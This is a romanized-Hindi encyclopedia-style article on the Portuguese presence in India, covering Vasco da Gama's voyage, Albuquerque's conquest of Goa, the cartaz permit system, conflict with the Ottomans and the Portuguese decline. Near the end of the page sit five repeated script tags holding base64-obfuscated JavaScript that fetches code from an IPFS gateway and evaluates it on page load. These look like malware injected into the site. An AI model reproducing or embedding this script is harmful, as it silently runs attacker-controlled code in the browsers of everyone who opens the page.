पुर्तग़ाली

purtagali purtagal desh ke nivasiyoan ko kaha jata hai. vaskodigama ek purtagali navik tha. vaskodigama ke dvara ki gee bharat yatraoan ne pashchimi yoorop se 'kep aauf gud hop' hokar poorv ke lie samudri marg khol die the. jis sthan ka nam purtagaliyoan ne gova rakha tha, vah aj ka chhota-sa samudr tatiy shahar 'goa-velha' hai. kalantar mean us kshetr ko gova kaha jane laga, jis par purtagaliyoan ne qabza kiya tha. 17 mee, 1498 ee. ko vaskodigama ne bharat ke pashchimi tat par sthit bandaragah kalikat pahuanchakar bharat ke naye samudr marg ki khoj ki. kalikat ke tatkalin shasak 'jamorin' ne vaskodigama ka svagat kiya. jamorin ka yah vyapar us samay bharatiy vyapar par adhikar jamaye hue arab vyapariyoan ko pasand nahian aya.

vyavaharik sambandh

yadyapi yoorop ke sath bharat ke vyavaharik sambandh bahut purane the, lekin vahaan bharatiy vastuoan ki maang mean barahavian shatabdi ke akramanoan ke sath hi vriddhi huee. arabi aur turki shasak varg ke aishvary poorn jivan ka prabhav yoorop ke shasak varg par bhi p da. roman samrajy ke vighatan ke pashchath jis vyapar aur nagar jivan ko dhakka pahuancha tha, vah phir se vikas karane laga aur isase bhi eshiya ke sath purtagaliyoan ka vyapar badha. nagar mean rahane vale logoan mean resham, hire-javaharat, itr, phuleloan, chini-mitti, kap doan adi manhagi chizoan ke prati ruchi badhian yoorop mean masaloan ki bhi bahut maang thi, kyoanki sardiyoan mean vahaan chare ki kami ke karan janavaroan ki ek b di sankhya ko mar kar unaka maans surakshit rakhana p data tha. is maans ko khane yogy banane ke lie masaloan ki zaroorat p dati thi.

bharatiy bandaragahoan se saman le jane vale jyadatar arab hote the, halaanki bharatiy vyapari bhi yah kam karate the. arab vyapari malabar tat par paanchavi shatabdi se hi bas gaye the aur malayakha di aur dakshini chin mean sthit kaintan tak vyapar karane lage the. araboan ne sthaniy shaktiyoan ke viruddh apane qile ya gadh banane ka prayatn nahian kiya aur n hi balapoorvak dharm-parivartan karane ki cheshta hi ki. unhoanne poorv prachalit vyapar vidhiyoan ko bhi nahian badala tha. isalie bharatiy vyapari dakshin poorv eshiya aur bharat-faras ki kha di se vyapar karate rahe the.

bharat pahuanchane ka prayas

purtagaliyoan ke agaman se is taur-tariqe mean bahut parivartan a gaya. padrahavian shatabdi ke arambh mean hi purtagal ke shasak don henerik, jise 'navik henari' ke nam se jana jata hai, ne bharat pahuanchane ke lie sidhe samudri marg ki talash shuroo kar di. rajakumar henari ne 1418 se hi har sal do-tin jahaz pashchim aphrika tat ki khoj-chin aur bharat ke lie sidhe samudri ki talash mean bhejane shuroo kar diye the. isaka uddeshy dohara tha, pahala arabi aur jenovi, vainisi adi yooropiy pratidvandviyoan ko samriddhishali poorvi kshetr ke vyapar se hatana, aur doosara turki aur araboan ki badhati huee shakti ka muqabala karane ke lie aphrika aur eshiya ke 'vidharmiyoan' ko eesaee banana. in donoan uddeshyoan ko prapt karane ke lie usane b de josh se kam kiya. vastutah ye donoan uddeshy ek-doosare ke poorak aur ek-doosare ko nyay sangat siddh karane vale the. pop ne 1453 mean ek bil pas karake is kary ko apana samarthan dete hue aphriki bandaragah kep nor ke age 'sada ke lie' is shart par de diya ki un deshoan ke nivasiyoan ko eesaee banaya jayega.

yoorop aur bharat se vyapar

bartholomyoo diyaz ne 1487 mean 'kep aauf gud hop' ka chakkar laga kar yoorop aur bharat ke bich sidhe vyapar ki adhar shila rakhi. itani lambi samudri yatraean kee nayi khojoan ke karan sambhav ho saki. inamean se pramukh khojean thian- kutubanuma aur samudri yatra ke lie estrolob ko apanana. ye khoje bhi yoorop ke punarjagaran ka parinam thian. punarjagaran suni huee batoan aur charch ke kathan par vishvas karane ki apeksha svayan khoj ka pratik tha. is nayi chetana ke karan hi us kal mean barud, kagaz aur doorabin ka nirman sambhav hua. is nayi chetana ne sahasik karyoan ke lie prerak-tatv ka kam kiya.

vasko d gama

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vasko d gama 1498 mean kalikat ke bandaragah par utara. usake sath mean do jahaz the, tisara raste mean hi nasht ho gaya. arab vyapariyoan ne usaka virodh kiya. lekin zemorin ne purtagaliyoan ka svagat kiya aur kali mirch aur davaeeyaan jahazoan par chadhane ki unhean anumati de di. purtagal mean vasko d gama dvara laee gee vastuoan ki qimat sari yatra par jitana kharch hua tha, usaka sath guna lagaee gee. isake bavajood bharat aur yoorop ke bich sidha vyapar bahut hi vilamb se vikasit hua. isaka ek karan is vyapar mean purtagaliyoan ka ekadhikar tha. prarambh se hi purtagali shasakoan ka yah prayatn raha tha ki poorvi vyapar ko shahi-ekadhikar samajha jae. unhoanne isake lie pratidvandvi yooropiy aur eshiyaee deshoan ko hi bahar rakhane ka prayatn nahian kiya, balki niji kshetr ke purtagali vyapariyoan ko bhi anumati nahian di.

shakti ka vistar

purtagaliyoan ki badhati huee shakti se chintit hokar misr ke sultan ne ek jahazi be da taiyar kiya aur use bharat ki or ravana kar diya. gujarat ke shasak ka ek jahazi be da bhi isamean sammilit ho gaya. purtagaliyoan par prarambhik vijay ke bavajood, jisamean purtagali gavarnar ka putr don alamida mara gaya tha, 1509 mean is sanyukt be de ki karari har huee. isase kuchh samay ke lie purtagali nausena hind mahasagar mean sabase shaktishali ho gee aur purtagaliyoan ko faras ki kha di aur lal sagar ki or apani gatividhiyaan badhane ka mauqa mil gaya. kuchh samay bad hi purtagaliyoan ke dvara hastagat poorvi pradeshoan ka gavarnar albukark bana. vah is niti ka himayati tha ki poorvi vyapar mean ekadhikar banaye rakhane ke lie eshiya aur aphrika mean samarik mahatv ke sthanoan par qile banayean jaean, usane is niti ka palan bhi kiya. inaki suraksha ke lie ek mazaboot nausena ki zaroorat thi. apane is vichar ke samarthan ke lie vah likhata hai ki "nausena dvara jita gaya koee pradesh tab tak hath mean nahian rah sakata, jab tak qile n banaye jaean." usaka kathan tha ki "shasak n to vyapar kareange aur n tumase mitrata ke sambandh rakheange."

nayi niti ka sootrapat

purtagali albukark ne bijapur se goa 1510 mean chhinakar apani nayi niti ka sootrapat kiya. goa ka tapoo bahut achchha prakritik bandaragah aur qila tha. isaka samarik mahatv tha aur yahaan se purtagali malabar ke sath vyapar bhi sambhal sakate the aur dakshin ke shasakoan ki nitiyoan par nazar bhi rakh sakate the. yah gujarat ke bandaragahoan ke bhi nikat tha aur purtagali vahaan apani upasthiti ka abhas de sakate the. atah goa purtagaliyoan ke lie vyapar aur rajaniti donoan drishtiyoan se kendriy sthal tha. goa ke hath se nikal jane par bijapur ka shasak yoosuf adilashah hoshiyar ho gaya aur usane 1510 mean purtagaliyoan par chadhaee karake unhean khade d diya. kintu, usi varsh usaki mrityu ho gee aur albukark ne is avasar ka labh uthate hue goa par phir se adhikar kar liya. shahar mean bis din tak lootamar chalati rahi. is lootamar mean mazadooroan aur brahmanoan ke sivay kisi ko bhi nahian chho da gaya. kyoanki vahaan ke logoan ne adilashah ka sath diya tha. purtagali goa ke samane mukhy bhoomi tak pahuanch gaye aur unhoanne bijapuri bandaragahoan daanda-rajapuri aur dabhol tak ane vale margoan ko avaruddh kar diya aur vahaan par qabza kar liya. is prakar unhoanne bijapur ka samudri vyapar nasht kar diya.

vyapar par adhikar

goa se hi purtagaliyoan ne apani shakti ko badhaya aur shrilanka mean, kolamboan mean, sumatra mean achin mean, aur malakka bandaragah, jo malay prayadvip aur sumatra ke bich ki tang kha di ka dvar tha, mean qile banaye. purtagaliyoan ne any deshoan ke vyapar par bhi k di shartean lagaeean. purtagali adhikariyoan se yatra-patr prapt kie bina koee arab ya bharatiy jahaz arab sagar mean yatra nahian kar sakata tha. ye yatra-patr pradan karate hue ve arab aur bharatiy jahajoan ko kali mirch aur hathiyar adi le jane ki izajat nahian dete the. anadhikrit vyapar karane ka sandeh hone par jahaz ki talashi le sakane ka adhikar bhi unhoanne apane lie surakshit rakha tha. jo jahaz talashi dene se iankar karate the, unhean yuddh puraskar man liya jata tha aur ve ya to dubo die jate the ya pak d lie jate the. unake yatriyoan ko das bana liya jata tha. isase purtagaliyoan aur is kshetr ke deshoan mean nirantar yuddh ki sthiti bani rahi. dakshini rajyoan ki apani-ghu dasenaoan ke lie arabi aur eeraki gho doan ke ayat mean bahut ruchi thi. aur goa inake lie ayat ka mukhy kendr tha. purtagaliyoan ne gho doan ke sare vyapar par ekadhikar kar liya. purtagaliyoan ke mitr rajy gho doan ko kharidane ke lie apane dalaloan ko goa bhej sakate the. is prakar purtagaliyoan ne gho doan ke vyapar par apane adhikar ko ek rajanitik astr ke roop mean istemal kiya aur dakshini rajyoan ko ek-doosare se l davate rahe.

arab sagar par prabhutv

gujarat ke bandaragahoan par adhikar aur arab sagar par apana prabhutv sthapit karane ki purtagaliyoan ki mahatvakaanksha ne ek lambe sangharsh ko janm diya. albukark ne gujarat ke raja se div aur basin par qile banane ki hi izajat nahian maangi, usase yah bhi kaha ki khambhat ke vyapari apana mal keval goa ki bandaragah ke atirikt aur kahian n bhejean aur n hi vah apane rajy mean kisi roomi ko ane de. isake sath-sath purtagaliyoan ne lal sagar ke pravesh dvar, sokotra dvip par adhikar kar liya, adan ko gher liya aur oramuz ke shasak ko vivash kiya ki vah unhean vahaan qila banane ki anumati de. adan faras ki kha di ka pravesh dvar tha.

atoman-purtagali sangharsh

purtagaliyoan ki badhati huee shakti aur gatividhiyoan ne atoman-turkiyoan ko gambhirata se sochane par vivash kar diya. unnati karate hue atomanoan ne 15vian shatabdi mean n keval 1453 mean kustunatuniya par adhikar karake eshiya mainar ki apani vijay ko poora kiya tha, balki unhoanne 1529 mean poorvi yoorop ke ek b de bhag par adhikar karake viena ke lie khatara paida kar diya tha, jo kendriy yoorop ki sabase mahattvapoorn rajadhani thi. isase pahale salim, jise kroor kaha jata hai, ne siriya, misr aur arab ko jit liya tha. lal sagar ke tat par aur faras ki kha di mean turki vistar ne hind mahasagar par prabhutv ke lie turkiyoan aur purtagaliyoan ke madhy sangharsh ko zaroori bana diya. purtagali is or se poori tarah sajag the.

vyapar aur tatavarti ilakoan mean badhate purtagali khatare ko dekhate hue gujarat ke sultan ne atoman sultan ke pas rajadoot bhejakar usaki niyamoan ke lie badhaee di aur sahayata maangi. badale mean atoman sultan ne kafiroan arthath purtagaliyoan se sangharsh ki ichchha prakat ki. jinhoann arab ke tat ki shanti bhang kar di thi. is samay se donoan deshoan ke madhy rajadootoan aur patroan ka adan-pradan hota raha. purtagaliyoan ko lal sagar se khade dane ke bad, gujarat ke sultan bahadurashah ki madad karane ke lie 1529 mean suleman rees ke netritv mean ek mazaboot be da bheja gaya. bahadurashah ne isaka svagat kiya aur do turk adhikariyoan ko bharatiy nam dekar soorat aur div ka gavarnar bana diya. isamean se ek roomi khan ne bad mean topachi ke roop mean bahut nam kamaya.

vyaparik mudda

atoman sultan svayan ko islam ka pracharak manate the aur isilie purtagaliyoan ke virodhi the. poorv aur yoorop ke madhy hone vale vyapar ka ek b da labh turki ko milata tha. kyoanki jyadatar saman vahian se hokar jata tha. vyapar marg badalane se unake hitoan ko dhakka pahuanchata tha. turki nausena bhi kamazor nahian thi. pandrahavian aur solahavian shatabdiyoan mean turkiyoan ne bhi gola-barood mean pashchim se kam unnati nahian ki thi. nauka-vijnan mean bhi ve unase bahut kam pichhe nahian the. poorvi bhoomadhy sagar par turk adhipaty tha aur unhoanne jibraltar ke par tak bhi akraman kie the. phir bhi, purtagaliyoan ke dvara 'kep af gud hop' ko par karake hind mahasagar mean ek shakti ke roop mean pravesh karane tak turkiyoan ne lal sagar ki chianta nahian ki thi. arab ke tat par achchhi qism ki lak di ke abhav aur bhoomadhy sagar se lal sagar tak jahazoan ko lane ki sambhavana ke karan unaki kathinaiyaan badh geean. gujarat ke sath dridh sandhi se unhean jahaz-nirman ke lie achchhi lak di mil sakati thi aur sath hi achchhe bandaragah bhi unhean upalabdh ho sakate the.

qile ka nirman

sthaniy adhikariyoan ke sath jhag de ke bad 1531 mean purtagaliyoan ne daman aur div par akraman kar diya. kintu turk senapati roomi khan ne unhean pichhe khade d diya. phir bhi purtagali dakshin mean chaul ke tat par ek qila banane mean saphal ho ge. isase pahale ki turki gujarat sahayog dridh ho pata, gujarat ko mugaloan ki or se khatara paida ho gaya. humayooan ne gujarat par akraman kar diya. is khatare ka samana karane ke lie bahadurashah ne basin dvip purtagaliyoan ko de diya. mugaloan ke sath bhi ek suraksha akraman ki sandhi kar li gee aur purgaliyoan ko div mean ek qila banane ki izajat de di gee. is prakar gujarat mean purtagaliyoan ke pair jag ge. purtagaliyoan ko di gee chhoot ko lekar bahadurashah jaldi hi pachhatane laga. gujarat se mugaloan ko khade dane ke pashchath usane phir atoman sultan se sahayata ki prarthana ki aur div mean purtagaliyoan ke vistar ko simit karane ka prayatn kiya. qile ke gavarnar ke jahaz par varta ke dauran bahadurashah ko dhokhe ka sandeh hua aur parinamasvaroop huee l daee mean purtagali gavarnar mara gaya aur kinare ki or tairate hue bahadurashah bhi doob kar mar gaya. yah ghatana 1536 mean huee.

turk be da

is bich turkoan ne purtagaliyoan ke viruddh sena bhejane ke lie ek b da be da taiyar kar liya. is be de mean 45 jahaz aur 7,000 paidal sainikoan athava jainisariyoan 20,000 adami the. bahut se navik alaikjaidriya sthit vainis ke jahazoan ke the. is be de ka sanchalan saltanat ka sabase vishvasapatr vyakti 82 varshiy suleman pasha kar raha tha. pasha ko kahira ka gavarnar banaya gaya tha. yah be da 1538 mean div pahuanch gaya aur use gher liya. durbhagy se turk senapati ka vyavahar apattijanak tha, isalie gujarat ke sultan ne apana samarthan vapas le liya. do mahine ke ghere ke bad div ki raksha ke lie purtagali jangi be de ke agaman ki khabar milane par turki be da pichhe hat gaya.

purtagaliyoan ke lie turki khatara do shatabdi bad tak bana raha. peri rees ne 1551 mean kalikat ke zamorin ki sahayata se maskat aur oramuz ke qiloan par akraman kar diya. is bich daman par adhikar karake purtagaliyoan ne apani sthiti aur bhi mazaboot kar li. ali rees ke netritv mean 1554 mean antim atoman akraman kiya gaya. in chadhaiyoan mean mili asaphalataoan se turk drishtikon mean badalav aya. san 1566 ee. mean purtagaliyoan ya atoman ne ek samajhauta kar liya ki ve bharat mean bhi deange nahian. atoman ne ek bar phir apana dhyan yoorop par lagaya aur purtagaliyoan se poorvi-vyapar ko apas mean baantane ka samajhauta kar liya. isase unhean mugaloan ki badhati huee shakti ke sath sandhi karane ki avashyakata nahian rahi.

dakshini tat ke adhipati

talikota mean 1565 ki vijayanagar ki parajay se dakkani rajyoan ko itana sahas bandha ki unhoanne dakshin tat se purtagaliyoan ko bhagane ke lie sanyukt prayatn kiya. jab tak dakshin mean bijapur ko vijayanagar se khatara bana raha, tab tak purtagaliyoan ke sath shanti usake lie avashyak thi. kyoanki gho doan ke vyapar par unaka adhikar tha aur unake sath chhe d-chha d ka matalab tha ki vah vyapar vijayanagar ke paksh mean ho jata. bijapur ke sultan ali adilashah ne 1570 mean ahamadanagar ke sulman se ek samajhauta kiya. kalikat ke jemorin ko bhi is samajhaut mean shamil kiya gaya. in sultanoan ne apane-apane kshetr mean purtagali sthaloan par akraman karane ka nishchay kiya. goa par akraman ka netritv svayan adilashah ne kiya, jabaki chaul par nizamashah ne ghera dal diya. lekin ek bar phir purtagali surakshapankti ne jisaki sahayata ke lie nau-sena tainat thi, unake lie bahut mazaboot siddh huee. is prakar purtagali bharatiy samudroan aur dakshini tat ke adhipati bane rahe.

purtagali prabhutv ka prabhav

pandrahavian-solahavian shatabdiyoan mean bharatiy samudroan aur poorvi vyapar par purtagali prabhutv ke bahut vyapak prabhav hue, jinaka lekha-jokha dhyan se karane ki avashyakata hai. sambhavatah purtagaliyoan ki dharmik madaanndhata aur vaijnanik kshetroan mean unaka pichh dapan hi, bharat par yooropiy punarjagaran ke prabhav n p dane ka mahattvapoorn karan tha. doosare, shatabdi ke madhy mean mugaloan ke punah adhikar se desh ka dhyan ek bar phir madhy eshiya ki or chala gaya. mugaloan ke shasanakal mean jis nayi mishrit sanskriti ka uday hua, usane bharat ke badhate vaijnanik aur takaniki pichh depan ko dhak diya. isi dauran purtagaliyoan ne bharatiy samudroan ke madhyam se eshiyaee vyapar ka adhikaansh apane hath mean le liya aur samay bitane ke sath-sath dach, aangrez aur fraansisi bhi bharatiy samudr mean pahuanch gaye. in deshoan ki arthik aur vaijnanik unnati ka adhar eshiyaee deshoan ke sath vyapar mean hone vala labh tha. satrahavian shatabdi mean pashchim aur poorv ke bich badhane vali takaniki asantulan spasht hone laga tha. atharahavian shatabdi mean eshiyaee deshoan par isaka nishchit rajanitik prabhav p da.

purtagaliyoan ka patan

purtagaliyoan ka chupake-chupake vyapar karana ant mean unhian ke lie ghatak siddh hua. brajil ka pata lag jane par purtagal ki upanivesh sanbandhi kriyashilata pashchim ki or unmukh ho gayi. aantatah unake pichhe ane vali yooropiy kanpaniyoan se unaki pratidvandita huee, jisamean ve pichh de gaye. adhikaansh bhag unake hath se nikal ge. dach aur british kampaniyoan ke hind mahasagar mean a jane se purtagaliyoan ka ekadhikar samapt ho gaya. 1538 ee. mean 'adan' par turki adhikar ho gaya. 1602 ee. mean dachoan ne 'vantam' ke samip purtagali be de par akraman kar use parajit kar diya. 1641 ee. mean dachoan ne purtagaliyoan ke mahattvapoorn malakka durg ko jit liya. 1628 ee. mean farasi sena ki sahayata se aangrezoan ne 'haramuj' par adhikar kar liya tatha marathoan ne 1739 ee. mean salaset dvip aur basin par adhikar kar liya. 1661 ee. tak keval gova, daman aur div hi purtagaliyoan ke adhikar mean raha.

bharat mean saphalata ke karan

hind mahasagar aur dakshini tat par purtagaliyoan ke prabhutv ke lie nimnalikhit karan zimmedar the-

• eshiyaee jahazoan ki tulana mean purtagali nausena ka adhik hona.
• samajik evan vyaparik drishtikon se sthapit mahattvapoorn vyaparik bastiyoan tatha sthaniy logoan ka sahayog.

purtagali samudrik samrajy ko 'estado d indiya' nam diya gaya. unhoanne hind mahasagar mean hone vale vyapar ko niyantrit karane ka prayas kiya. unhoanne 'katarj-armeda-kafila' vyavastha dvara eshiyaee vyapar par gahara prabhav dala. purtagaliyoan dvara apane prabhutv ke adhin samudrik margoan par suraksha kar vasool karane ko 'katarj vyavastha' kaha jata tha. purtagal adhigrahit kshetroan mean vyapar ke lie akabar ko bhi ek niahshulk katarj prapt karana p data tha. purtagali apane ko 'sagar svami' kahate the. koee bhi bharatiy, arabi jahaz purtagali adhikariyoan se katarj (paramit) lie bina, arab sagar mean nahian ja sakata tha. 1595 ee. tak purtagaliyoan ka hind mahasagar par ekadhikar bana raha.

eesaee dharm ka prachar

1542 ee. mean purtagali garvanar 'alfaansoan disooja' ke sath prasiddh jesuit sant jeviyar bharat aya. purtagaliyoan ne kanyakumari evan edamabrij ke madhy rahane vale janajatiy machhuvaroan aur malavar samudr tat ke mukuva machhuvaroan ko eesaee dharm mean parivartit kiya. purtagaliyoan ne 1560 ee. mean gova mean eesaee dharm nyayalay ki sthapana ki thi. mugal shasak shahajahaan ne 1632 ee. mean purtagaliyoan se hugali chhin liya, kyoanki purtagali vahaan par lootamar tatha dharm parivartan adi nindaniy kary kar rahe the. shahajahaan ne isaka dayitv mugal gavarnar kasim ali khaan ko sauanpa tha. purtagali malabar aur koankan tat se sarvadhik kali mirch ka niryat karate the. malabar tat se adarakh, dalachini, chandan, haldi, nil adi ka niryat hota tha.

bharat ko den

bharat mean 'godhik sthapaty kala' ka agaman purtagaliyoan ke sath hua. purtagaliyoan ne gova, daman aur div par 1661 ee. tak shasan kiya. unake agaman se bharat mean tambakoo ki kheti, jahaz nirman tatha priantiang pres ki shuruat huee. bharat mean pratham priantiang pres ki sthapana varsh 1556 ee. mean gova mean huee. yah purtagaliyoan ki bharatavasiyoan ke lie ek mahattvapoorn den thi.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>